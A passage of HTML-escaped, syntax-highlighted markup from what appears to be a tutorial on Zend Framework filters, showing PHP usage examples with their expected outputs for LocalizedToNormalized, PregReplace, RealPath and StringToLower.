background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #008c00;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$filter&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;filter&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;123.456&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: dimgrey;&quot;&gt;// returns the value &#39;123456.00&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$filter&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;filter&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;123.456,78901&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: dimgrey;&quot;&gt;// returns the value &#39;123456.79&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: dimgrey;&quot;&gt;// Initiate the filter&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$filter&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; Zend_Filter_LocalizedToNormalized&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$filter&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;filter&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;12.April.2009&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: dimgrey;&quot;&gt;// returns array(&#39;day&#39; =&amp;gt; &#39;12&#39;, &#39;month&#39; =&amp;gt; &#39;04&#39;, &#39;year&#39; =&amp;gt; &#39;2009&#39;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #a65700;&quot;&gt;?&amp;gt;&lt;/span&gt;
&lt;/pre&gt;
&lt;br /&gt;
&lt;b&gt;Zend_Filter_PregReplace&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #ffffff; color: black;&quot;&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #a65700;&quot;&gt;&amp;lt;?php&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$filter&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; Zend_Filter_PregReplace&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;match&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;bob&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;replace&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;john&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$input&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;Hy bob!&quot;;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&amp;nbsp;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;$filter-&amp;gt;filter($input);&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;// returns &#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;Hy john&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;?&amp;gt;&lt;/span&gt;
&lt;/pre&gt;
&lt;br /&gt;
&lt;b&gt;Zend_Filter_RealPath&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #ffffff; color: black;&quot;&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #a65700;&quot;&gt;&amp;lt;?php&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$filter&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; Zend_Filter_RealPath&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$path&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;   &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;/www/var/path/../../mypath&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$filtered&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$filter&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;filter&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$path&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: dimgrey;&quot;&gt;// returns &#39;/www/mypath&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #a65700;&quot;&gt;?&amp;gt;&lt;/span&gt;
&lt;/pre&gt;
&lt;br /&gt;
&lt;b&gt;Zend_Filter_StringToLower&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #ffffff; color: black;&quot;&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #a65700;&quot;&gt;&amp;lt;?php&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$filter&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; Zend_Filter_StringToLower&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$filter&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;filter&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;SAMPLE&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: dimgrey;&quot;&gt;// returns &quot;sample&quot;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: dimgrey;&quot;&gt;//[optional] set encode&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: dimgrey;&quot;&gt;// using UTF-8&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$filter&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; Zend_Filter_StringToLower&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;UTF-8&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; 